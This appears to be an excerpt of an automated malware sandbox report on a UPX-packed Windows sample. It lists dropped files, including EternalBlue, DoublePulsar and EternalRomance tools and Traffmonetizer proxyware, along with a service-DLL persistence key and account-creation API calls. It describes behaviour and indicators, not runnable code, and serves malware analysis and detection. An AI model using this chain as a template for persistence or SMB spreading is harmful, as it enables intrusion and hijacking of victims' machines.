Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebHeaderCollection\4.0.1.0\System.Net.WebHeaderCollection.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Claims\4.0.3.0\System.Security.Claims.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding\4.0.11.0\System.Text.Encoding.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding.Extensions\4.0.11.0\System.Text.Encoding.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdbSHA256 source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\SMB_Dll\x64\Release\Dll.pdb source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\SMB_Dll\Release\Dll.pdb source: MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdbSHA256I source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Specialized\4.0.3.0\System.Collections.Specialized.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdbSHA256[] source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdbp( source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Primitives\4.0.3.0\System.IO.FileSystem.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.NonGeneric\4.0.3.0\System.Collections.NonGeneric.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb]W source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Extensions\4.1.2.0\System.Runtime.Extensions.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdb source: Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Net.Sockets/netfx\System.Net.Sockets.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections\4.0.11.0\System.Collections.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdbSHA256X^. source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets\4.0.2.0\System.Net.WebSockets.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb$.>. 0._CorDllMainmscoree.dll source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Json\4.0.1.0\System.Runtime.Serialization.Json.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.MemoryMappedFiles\4.0.2.0\System.IO.MemoryMappedFiles.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization.Calendars\4.0.3.0\System.Globalization.Calendars.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Watcher\4.0.2.0\System.IO.FileSystem.Watcher.pdb source: Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\Desktop\38iGnQnL33.exe

Code function: 0_2_004CCFA0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_004CCFA0

Source: RunDllExe.dll.1.dr	Static PE information: section name: _RDATA
Source: x64.dll.4.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0047C11F push eax; ret	0_2_0047C14D
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0043039F push eax; ret	0_2_004303CD
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040655C push eax; ret	0_2_0040657A
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00430707 push eax; ret	0_2_00430725
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00406B00 push eax; ret	0_2_00406B2E
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00440C47 push esp; retf 0041h	0_2_00440C48
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0045FE7E push eax; ret	0_2_0045FEAC
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_00417090 push eax; ret	1_2_004170BE
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_004173F8 push eax; ret	1_2_00417416
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_1001B2F0 push eax; ret	8_2_1001B31E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0041B87C push eax; ret	11_2_0041B89A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0041F436 push ebx; ret	11_2_0041F437
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0042089C push ebp; retf	11_2_00420A5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_004149D0 push eax; ret	11_2_004149FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0041F184 push cs; iretd	11_2_0041F25A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_00420A58 push ebp; retf	11_2_00420A5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 11_2_0041F286 push cs; iretd	11_2_0041F25A
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_0040D9C0 push eax; ret	63_2_0040D9EE
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_0040D418 push eax; ret	63_2_0040D436
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC8167 push ebx; ret	64_2_00007FFD9BAC816A
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAC7963 push ebx; retf	64_2_00007FFD9BAC796A
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAD6F2E push E8D08B48h; iretd	64_2_00007FFD9BAD6F39
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 64_2_00007FFD9BAFAE60 pushad ; retn 9BC5h	64_2_00007FFD9BAFAE93

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Windows\Temp\Hooks.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\GraphicsPerfSvcs\Parameters ServiceDll C:\Windows\system32\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll

Jump to behavior

Creates files in the system32 config directory

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\settings.json
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\pid
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\storage.json

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\Temp\MpMgSvc.exe	Executable created and started: C:\Windows\Temp\Wmicc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Executable created and started: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe
Source: C:\Windows\SysWOW64\svchost.exe	Executable created and started: C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	Executable created and started: C:\Windows\Microsoft.NET\ctfmoon.exe

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00410C30 lstrlenA,lstrlenA,lstrlenA,lstrlenA,NetUserAdd,wcscpy,NetLocalGroupAddMembers,LocalFree,

11_2_00410C30

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Wmicc.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Temp\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\dmgd-4.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ucl.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\xdvl-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trfo-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\Windows\Temp\Hooks.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libxml2.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\posh-0.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trch-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tucl-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\crli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\coli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x86.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll	Jump to dropped file
Source: C:\Users\user\Desktop\MSSQLH.exe	File created: C:\Windows\Logs\RunDllExe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\exma-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\38iGnQnL33.exe	File created: C:\Users\user\Desktop\MSSQLH.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Meson.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	Jump to dropped file
